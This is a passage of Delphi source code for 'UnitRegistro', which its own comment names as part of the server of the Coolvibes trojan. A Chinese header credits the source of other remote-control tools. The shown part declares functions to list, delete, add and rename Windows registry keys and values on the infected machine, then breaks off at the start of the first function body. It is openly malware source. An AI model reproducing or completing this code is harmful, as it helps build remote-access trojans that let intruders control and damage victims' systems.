unitregistro.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

{Unit perteneciente al server del troyano Coolvibes que contiene todas las funciones
que son usadas en el explorador de registro}
unit UnitRegistro;

interface

uses
  Windows,
  SysUtils,
  UnitFunciones;

function ListarClaves(Clave: String): String;
function ListarValores(Clave: String): String;
function ToKey(Clave: String):hKey;
function BorraClave(Clave: String):boolean;
function AniadirClave(Clave, Val, Tipo: String):boolean;
function RenombrarClave(Ruta, ViejaClave, NuevaClave: PChar):boolean;

implementation

function ListarClaves(Clave: String): String;
var
  phkResult: HKEY;
  lpName: PChar;
  lpcbName, dwIndex: Cardinal;
  lpftLastWriteTime: FileTime;
begin
  //Clave vale algo as